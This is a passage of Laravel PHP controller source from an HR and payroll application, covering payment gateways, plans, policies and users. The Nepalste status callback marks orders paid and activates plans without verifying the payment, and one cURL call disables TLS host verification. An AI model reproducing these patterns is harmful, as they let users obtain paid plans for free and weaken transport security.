if(count($employee) == 0) { $paysliptype->delete(); } else { return redirect()->route('paysliptype.index')->with('error', __('This Payslip Type has Set Salary. Please remove the Set Salary from this Payslip Type.')); } return redirect()->route('paysliptype.index')->with('success', __('PayslipType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/NepalstePaymnetController.php000064400000017061150364306410015666 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => 'Nepalste', 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } } if (!empty($request->coupon)) { $response = ['get_amount' => $get_amount, 'plan' => $plan, 'coupon_id' => $coupons->id]; } else { $response = ['get_amount' => $get_amount, 'plan' => $plan]; } $parameters = [ 'identifier' => 'DFU80XZIKS', 'currency' => $currency, 'amount' => $get_amount, 'details' => $plan->name, 'ipn_url' => route('nepalste.status', $response), 'cancel_url' => route('nepalste.cancel'), 'success_url' => route('nepalste.status', $response), 'public_key' => $api_key, 'site_logo' => 'https://nepalste.com.np/assets/images/logoIcon/logo.png', 'checkout_theme' => 'dark', 'customer_name' => 'John Doe', 'customer_email' => 'john@mail.com', ]; //live end point // $url = "https://nepalste.com.np/payment/initiate"; //test end point // $url = "https://nepalste.com.np/sandbox/payment/initiate"; //live end point if($payment_setting['nepalste_mode'] == 'live'){ $url = "https://nepalste.com.np/payment/initiate"; }else{ $url = "https://nepalste.com.np/sandbox/payment/initiate"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, $parameters); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); $result = json_decode($result, true); if (isset($result['success'])) { return redirect($result['url']); } else { return redirect()->back()->with('error', __($result['message'])); } } public function planGetNepalsteStatus(Request $request) { $payment_setting = Utility::getAdminPaymentSetting(); $currency = isset($payment_setting['currency']) ? $payment_setting['currency'] : ''; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $getAmount = $request->get_amount; $authuser = Auth::user(); $plan = Plan::find($request->plan); Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $authuser->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $currency; $order->txn_id = $orderID; $order->payment_type = __('Neplaste'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $authuser->id; $order->save(); $assignPlan = $authuser->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } public function planGetNepalsteCancel(Request $request) { return redirect()->back()->with('error', __('Transaction has failed')); } } Http/Controllers/AllowanceOptionController.php000064400000011406150364306410015650 0ustar00can('Manage Allowance Option')) { $allowanceoptions = AllowanceOption::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('allowanceoption.index', compact('allowanceoptions')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Allowance Option')) { return view('allowanceoption.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Allowance Option')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $allowanceoption = new AllowanceOption(); $allowanceoption->name = $request->name; $allowanceoption->created_by = \Auth::user()->creatorId(); $allowanceoption->save(); return redirect()->route('allowanceoption.index')->with('success', __('AllowanceOption successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(AllowanceOption $allowanceoption) { return redirect()->route('allowanceoption.index'); } public function edit(AllowanceOption $allowanceoption) { if(\Auth::user()->can('Edit Allowance Option')) { if($allowanceoption->created_by == \Auth::user()->creatorId()) { return view('allowanceoption.edit', compact('allowanceoption')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, AllowanceOption $allowanceoption) { if(\Auth::user()->can('Edit Allowance Option')) { if($allowanceoption->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $allowanceoption->name = $request->name; $allowanceoption->save(); return redirect()->route('allowanceoption.index')->with('success', __('AllowanceOption successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(AllowanceOption $allowanceoption) { if(\Auth::user()->can('Delete Allowance Option')) { if($allowanceoption->created_by == \Auth::user()->creatorId()) { $allowance = Allowance::where('allowance_option',$allowanceoption->id)->get(); if(count($allowance) == 0) { $allowanceoption->delete(); } else { return redirect()->route('allowanceoption.index')->with('error', __('This Allowance Option has Allowance. Please remove the Allowance from this Allowance option.')); } return redirect()->route('allowanceoption.index')->with('success', __('AllowanceOption successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PaytmPaymentController.php000064400000022150150364306410015200 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); config( [ 'services.paytm-wallet.env' => isset($admin_payment_setting['paytm_mode']) ? $admin_payment_setting['paytm_mode'] : '', 'services.paytm-wallet.merchant_id' => isset($admin_payment_setting['paytm_merchant_id']) ? $admin_payment_setting['paytm_merchant_id'] : '', 'services.paytm-wallet.merchant_key' => isset($admin_payment_setting['paytm_merchant_key']) ? $admin_payment_setting['paytm_merchant_key'] : '', 'services.paytm-wallet.merchant_website' => 'WEBSTAGING', 'services.paytm-wallet.channel' => 'WEB', 'services.paytm-wallet.industry_type' => isset($admin_payment_setting['paytm_industry_type']) ? $admin_payment_setting['paytm_industry_type'] : '', ] ); } } public function planPayWithPaytm(Request $request) { $payment = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = \Auth::user(); $coupons_id = ''; if ($plan) { $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; $coupons_id = $coupons->id; if ($usedCoupun >= $coupons->limit) { return Utility::error_res(__('This coupon code has expired.')); } $price = $price - $discount_value; } else { return Utility::error_res(__('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Paytm', 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return Utility::error_res(__('Plan fail to upgrade.')); } } $call_back = route( 'plan.paytm', [ $request->plan_id, 'coupon_id=' . $coupons_id, ] ); $payment = PaytmWallet::with('receive'); $payment->prepare( [ 'order' => date('Y-m-d') . '-' . strtotime(date('Y-m-d H:i:s')), 'user' => Auth::user()->id, 'mobile_number' => $request->mobile, 'email' => Auth::user()->email, 'amount' => $price, 'plan' => $plan->id, 'callback_url' => $call_back, ] ); return $payment->receive(); } else { return Utility::error_res(__('Plan is deleted.')); } } public function getPaymentStatus(Request $request, $plan) { $transaction = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = Auth::user(); $orderID = time(); if ($plan) { try { $transaction = PaytmWallet::with('receive'); $response = $transaction->response(); if ($transaction->isSuccessful()) { if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = isset($request->TXNAMOUNT) ? $request->TXNAMOUNT : 0; $order->price_currency = isset($request->CURRENCY) ? $request->CURRENCY : 'USD'; $order->txn_id = isset($request->TXNID) ? $request->TXNID : ''; $order->payment_type = __('paytm'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id, $request->payment_frequency); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Plan not found!')); } } } } Http/Controllers/CompanyPolicyController.php000064400000023421150364306410015340 0ustar00can('Manage Company Policy')) { $companyPolicy = CompanyPolicy::where('created_by', '=', \Auth::user()->creatorId())->with('branches')->get(); return view('companyPolicy.index', compact('companyPolicy')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Company Policy')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('Select Branch', ''); return view('companyPolicy.create', compact('branch')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Company Policy')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'title' => 'required', 'attachment' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $policy = new CompanyPolicy(); $policy->branch = $request->branch; $policy->title = $request->title; $policy->description = !empty($request->description) ? $request->description : ''; $policy->created_by = \Auth::user()->creatorId(); if (!empty($request->attachment)) { $image_size = $request->file('attachment')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('attachment')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('attachment')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/companyPolicy/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'attachment', $fileNameToStore, $dir, []); $policy->attachment = !empty($request->attachment) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $policy->save(); // slack $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch); if (isset($setting['company_policy_notification']) && $setting['company_policy_notification'] == 1) { // $msg = $request->title . ' ' . __("for") . ' ' . $branch->name . ' ' . __("created") . '.'; $uArr = [ 'company_policy_name' => $request->title, 'branch_name' => $branch->name, ]; Utility::send_slack_msg('new_company_policy', $uArr); } // telegram $setting = Utility::settings(\Auth::user()->creatorId()); $branch = Branch::find($request->branch); if (isset($setting['telegram_company_policy_notification']) && $setting['telegram_company_policy_notification'] == 1) { // $msg = $request->title . ' ' . __("for") . ' ' . $branch->name . ' ' . __("created") . '.'; $uArr = [ 'company_policy_name' => $request->title, 'branch_name' => $branch->name, ]; Utility::send_telegram_msg('new_company_policy', $uArr); } //webhook $module = 'New Company Policy'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($policy); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->back()->with('success', __('Company policy successfully created.')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } // return redirect()->route('company-policy.index')->with('success', __('Company policy successfully created.')); return redirect()->route('company-policy.index')->with('success', __('Company policy successfully created.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(CompanyPolicy $companyPolicy) { // } public function edit(CompanyPolicy $companyPolicy) { if (\Auth::user()->can('Edit Company Policy')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('Select Branch', ''); return view('companyPolicy.edit', compact('branch', 'companyPolicy')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, CompanyPolicy $companyPolicy) { if (\Auth::user()->can('Create Company Policy')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'title' => 'required', 'attachment' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $companyPolicy->branch = $request->branch; $companyPolicy->title = $request->title; $companyPolicy->description = $request->description; $companyPolicy->created_by = \Auth::user()->creatorId(); if (isset($request->attachment)) { $dir = 'uploads/companyPolicy/'; $file_path = $dir . $companyPolicy->attachment; $image_size = $request->file('attachment')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); $filenameWithExt = $request->file('attachment')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('attachment')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/companyPolicy/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'attachment', $fileNameToStore, $dir, []); $companyPolicy->attachment = $fileNameToStore; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $companyPolicy->save(); // return redirect()->route('company-policy.index')->with('success', __('Company policy successfully updated.')); return redirect()->route('company-policy.index')->with('success', __('Company policy successfully updated.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(CompanyPolicy $companyPolicy) { if (\Auth::user()->can('Delete Document')) { if ($companyPolicy->created_by == \Auth::user()->creatorId()) { $companyPolicy->delete(); // $dir = storage_path('uploads/companyPolicy/'); if (!empty($companyPolicy->attachment)) { //storage limit $file_path = 'uploads/companyPolicy/' . $companyPolicy->attachment; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); // unlink($dir . $companyPolicy->attachment); } return redirect()->route('company-policy.index')->with('success', __('Company policy successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PlanController.php000064400000033743150364306410013454 0ustar00can('Manage Plan')) { if (\Auth::user()->type == 'super admin') { $plans = Plan::get(); } else { $plans = Plan::where('is_disable', 1)->get(); } $admin_payment_setting = Utility::getAdminPaymentSetting(); return view('plan.index', compact('plans', 'admin_payment_setting')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Plan')) { $arrDuration = Plan::$arrDuration; return view('plan.create', compact('arrDuration')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Plan')) { $admin_payment_setting = Utility::getAdminPaymentSetting(); if (!empty($admin_payment_setting) && ($admin_payment_setting['is_manually_enabled'] == 'on' || $admin_payment_setting['is_banktransfer_enabled'] == 'on' || $admin_payment_setting['is_stripe_enabled'] == 'on' || $admin_payment_setting['is_paypal_enabled'] == 'on' || $admin_payment_setting['is_paystack_enabled'] == 'on' || $admin_payment_setting['is_flutterwave_enabled'] == 'on' || $admin_payment_setting['is_razorpay_enabled'] == 'on' || $admin_payment_setting['is_mercado_enabled'] == 'on' || $admin_payment_setting['is_paytm_enabled'] == 'on' || $admin_payment_setting['is_mollie_enabled'] == 'on' || $admin_payment_setting['is_skrill_enabled'] == 'on' || $admin_payment_setting['is_coingate_enabled'] == 'on' || $admin_payment_setting['is_paymentwall_enabled'] == 'on' || $admin_payment_setting['is_toyyibpay_enabled'] == 'on' || $admin_payment_setting['is_payfast_enabled'] == 'on' || $admin_payment_setting['is_iyzipay_enabled'] == 'on' || $admin_payment_setting['is_sspay_enabled'] == 'on' || $admin_payment_setting['is_paytab_enabled'] == 'on' || $admin_payment_setting['is_benefit_enabled'] == 'on' || $admin_payment_setting['is_cashfree_enabled'] == 'on' || $admin_payment_setting['is_aamarpay_enabled'] == 'on' || $admin_payment_setting['is_paytr_enabled'] == 'on' || $admin_payment_setting['is_yookassa_enabled'] == 'on' || $admin_payment_setting['is_midtrans_enabled'] == 'on' || $admin_payment_setting['is_xendit_enabled'] == 'on' || $admin_payment_setting['is_nepalste_enabled'] == 'on' || $admin_payment_setting['is_paiementpro_enabled'] == 'on' || $admin_payment_setting['is_fedapay_enabled'] == 'on' || $admin_payment_setting['is_payhere_enabled'] == 'on' || $admin_payment_setting['is_cinetpay_enabled'] == 'on')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|unique:plans', 'price' => 'required|numeric|min:0', 'duration' => 'required', 'max_users' => 'required|numeric', 'max_employees' => 'required|numeric', 'storage_limit' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $post = $request->all(); if (!isset($request->enable_chatgpt)) { $post['enable_chatgpt'] = 'off'; } if ($request->trial == 1) { $post['trial_days'] = !empty($post['trial_days']) ? $post['trial_days'] : 0; } if (Plan::create($post)) { return redirect()->back()->with('success', __('Plan Successfully created.')); } else { return redirect()->back()->with('error', __('Something is wrong.')); } } else { return redirect()->back()->with('error', __('Please set stripe/paypal api key & secret key for add new plan')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function edit($plan_id) { if (\Auth::user()->can('Edit Plan')) { $arrDuration = Plan::$arrDuration; $plan = Plan::find($plan_id); return view('plan.edit', compact('plan', 'arrDuration')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $plan_id) { if (\Auth::user()->can('Edit Plan')) { $admin_payment_setting = Utility::getAdminPaymentSetting(); if (!empty($admin_payment_setting) && ($admin_payment_setting['is_manually_enabled'] == 'on' || $admin_payment_setting['is_banktransfer_enabled'] == 'on' || $admin_payment_setting['is_stripe_enabled'] == 'on' || $admin_payment_setting['is_paypal_enabled'] == 'on' || $admin_payment_setting['is_paystack_enabled'] == 'on' || $admin_payment_setting['is_flutterwave_enabled'] == 'on' || $admin_payment_setting['is_razorpay_enabled'] == 'on' || $admin_payment_setting['is_mercado_enabled'] == 'on' || $admin_payment_setting['is_paytm_enabled'] == 'on' || $admin_payment_setting['is_mollie_enabled'] == 'on' || $admin_payment_setting['is_skrill_enabled'] == 'on' || $admin_payment_setting['is_coingate_enabled'] == 'on' || $admin_payment_setting['is_paymentwall_enabled'] == 'on' || $admin_payment_setting['is_toyyibpay_enabled'] == 'on' || $admin_payment_setting['is_payfast_enabled'] == 'on' || $admin_payment_setting['is_iyzipay_enabled'] == 'on' || $admin_payment_setting['is_sspay_enabled'] == 'on' || $admin_payment_setting['is_paytab_enabled'] == 'on' || $admin_payment_setting['is_benefit_enabled'] == 'on' || $admin_payment_setting['is_cashfree_enabled'] == 'on' || $admin_payment_setting['is_aamarpay_enabled'] == 'on' || $admin_payment_setting['is_paytr_enabled'] == 'on' || $admin_payment_setting['is_yookassa_enabled'] == 'on' || $admin_payment_setting['is_midtrans_enabled'] == 'on' || $admin_payment_setting['is_xendit_enabled'] == 'on' || $admin_payment_setting['is_nepalste_enabled'] == 'on' || $admin_payment_setting['is_paiementpro_enabled'] == 'on' || $admin_payment_setting['is_fedapay_enabled'] == 'on' || $admin_payment_setting['is_payhere_enabled'] == 'on' || $admin_payment_setting['is_cinetpay_enabled'] == 'on')) { $plan = Plan::find($plan_id); if (!empty($plan)) { $rules = [ 'name' => 'required|unique:plans,name,' . $plan_id, 'max_users' => 'required|numeric', 'max_employees' => 'required|numeric', 'storage_limit' => 'required', ]; if ($plan_id != 1) { $rules['duration'] = [ 'required', ]; } $validator = \Validator::make( $request->all(), $rules ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $post = $request->all(); if (!isset($request->enable_chatgpt)) { $post['enable_chatgpt'] = 'off'; } if ($request->trial == 1) { $post['trial_days'] = !empty($post['trial_days']) ? $post['trial_days'] : 0; } else { $post['trial'] = 0; $post['trial_days'] = 0; } if ($plan->update($post)) { return redirect()->back()->with('success', __('Plan successfully updated.')); } else { return redirect()->back()->with('error', __('Something is wrong.')); } } else { return redirect()->back()->with('error', __('Plan not found.')); } } else { return redirect()->back()->with('error', __('Please set stripe/paypal api key & secret key for add new plan')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } // public function destroy($id) // { // $user = \Auth::user(); // $user = User::where('id', '=', $user->id)->first(); // $user->requested_plan = "0"; // $user->save(); // $plan = Plan::findOrFail($id); // PlanRequest::where('plan_id', $plan->id)->where('user_id', '=', $user->id)->delete(); // return redirect()->route('plans.index')->with('success', 'Plan request successfully deleted.'); // } public function destroy($id) { $userPlan = User::where('plan', $id)->first(); if ($userPlan != null) { return redirect()->back()->with('error', __('The company has subscribed to this plan, so it cannot be deleted.')); } $plan = Plan::find($id); if ($plan->id == $id) { $plan->delete(); return redirect()->back()->with('success', __('Plan deleted successfully')); } else { return redirect()->back()->with('error', __('Something went wrong')); } } public function plan_request($code) { $objUser = \Auth::user(); $plan_id = \Illuminate\Support\Facades\Crypt::decrypt($code); $plan = Plan::find($plan_id); $plan_request_check_user = PlanRequest::where('user_id', '=', $objUser->id)->first(); if ($plan_request_check_user) { return redirect()->back()->with('error', __('you already request sended for plan.')); } else { $planRequest = new PlanRequest(); $planRequest['user_id'] = $objUser->id; $planRequest['plan_id'] = $plan->id; $planRequest['duration'] = $plan->duration; $planRequest->save(); $objUser['requested_plan'] = $plan->id; $objUser->save(); return redirect()->back()->with('success', __('Plan request successfully sended.')); } } public function userPlan(Request $request) { if (\Auth::user()->can('Buy Plan')) { $objUser = \Auth::user(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->code); $plan = Plan::find($planID); if ($plan) { if ($plan->price <= 0) { $objUser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan successfully activated.')); } else { return redirect()->back()->with('error', __('Something is wrong.')); } } else { return redirect()->back()->with('error', __('Plan not found.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function OrderDestroy(Request $request, $id) { if (\Auth::user()->type == 'super admin') { $order = Order::find($id); $file = $order->receipt; if (File::exists(storage_path('uploads/order/' . $file))) { File::delete(storage_path('uploads/order/' . $file)); } $order->delete(); return redirect()->route('order.index')->with('success', __('Order successfully deleted.')); } } public function PlanTrial($id) { if (\Auth::user()->can('Buy Plan') && \Auth::user()->type != 'super admin') { if (\Auth::user()->is_trial_done == false) { try { $id = Crypt::decrypt($id); } catch (\Throwable $th) { return redirect()->back()->with('error', __('Plan Not Found.')); } $plan = Plan::find($id); $user = User::where('id', \Auth::user()->id)->first(); $currentDate = date('Y-m-d'); $numberOfDaysToAdd = $plan->trial_days; $newDate = date('Y-m-d', strtotime($currentDate . ' + ' . $numberOfDaysToAdd . ' days')); if (!empty($plan->trial) == 1) { $user->assignPlan($plan->id); $user->trial_plan = $id; $user->trial_expire_date = $newDate; $user->save(); } return redirect()->back()->with('success', 'Your trial has been started.'); } else { return redirect()->back()->with('error', __('Your Plan trial already done.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function planDisable(Request $request) { $userPlan = User::where('plan', $request->id)->first(); if ($userPlan != null) { return response()->json(['error' => __('The company has subscribed to this plan, so it cannot be disabled.')]); } Plan::where('id', $request->id)->update(['is_disable' => $request->is_disable]); if ($request->is_disable == 1) { return response()->json(['success' => __('Plan successfully enable.')]); } else { return response()->json(['success' => __('Plan successfully disable.')]); } } } Http/Controllers/UserController.php000064400000044736150364306410013504 0ustar00can('Manage User')) { $user = \Auth::user(); if (\Auth::user()->type == 'super admin') { $users = User::where('created_by', '=', $user->creatorId())->where('type', '=', 'company')->with('currentPlan')->get(); $CountUser = User::where('created_by')->get(); } else { $users = User::where('created_by', '=', $user->creatorId())->where('type', '!=', 'employee')->get(); } return view('user.index', compact('users')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create User')) { $user = \Auth::user(); $roles = Role::where('created_by', '=', $user->creatorId())->where('name', '!=', 'employee')->get()->pluck('name', 'id'); $roles->prepend('Select Role', ''); return view('user.create', compact('roles')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create User')) { $default_language = DB::table('settings')->select('value')->where('name', 'default_language')->where('created_by', \Auth::user()->creatorId())->first(); // new company default language if ($default_language == null) { $default_language = DB::table('settings')->select('value')->where('name', 'default_language')->first(); } $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'email' => 'required|unique:users', // 'password' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if (!empty($request->password_switch) && $request->password_switch == 'on') { $validator = \Validator::make( $request->all(), ['password' => 'required|min:6'] ); if ($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } } do { $code = rand(100000, 999999); } while (User::where('referral_code', $code)->exists()); if (\Auth::user()->type == 'super admin') { $date = date("Y-m-d H:i:s"); $userpassword = $request->input('password'); $user = User::create( [ 'name' => $request['name'], 'email' => $request['email'], 'is_login_enable' => !empty($request->password_switch) && $request->password_switch == 'on' ? 1 : 0, 'password' => !empty($userpassword) ? Hash::make($userpassword) : null, 'type' => 'company', 'plan' => $plan = Plan::where('price', '<=', 0)->first()->id, 'lang' => !empty($default_language) ? $default_language->value : 'en', 'referral_code' => $code, 'created_by' => \Auth::user()->id, 'email_verified_at' => $date, ] ); $user->assignRole('Company'); $user->userDefaultData(); $user->userDefaultDataRegister($user->id); GenerateOfferLetter::defaultOfferLetterRegister($user->id); ExperienceCertificate::defaultExpCertificatRegister($user->id); JoiningLetter::defaultJoiningLetterRegister($user->id); NOC::defaultNocCertificateRegister($user->id); Utility::jobStage($user->id); $role_r = Role::findById(2); //create company default roles Utility::MakeRole($user->id); } else { $objUser = \Auth::user()->creatorId(); $objUser = User::find($objUser); $total_user = $objUser->countUsers(); $plan = Plan::find($objUser->plan); $userpassword = $request->input('password'); if ($total_user < $plan->max_users || $plan->max_users == -1) { $role_r = Role::findById($request->role); $date = date("Y-m-d H:i:s"); $user = User::create( [ 'name' => $request['name'], 'email' => $request['email'], 'is_login_enable' => !empty($request->password_switch) && $request->password_switch == 'on' ? 1 : 0, 'password' => !empty($userpassword) ? Hash::make($userpassword) : null, 'type' => $role_r->name, 'lang' => !empty($default_language) ? $default_language->value : 'en', 'created_by' => \Auth::user()->creatorId(), 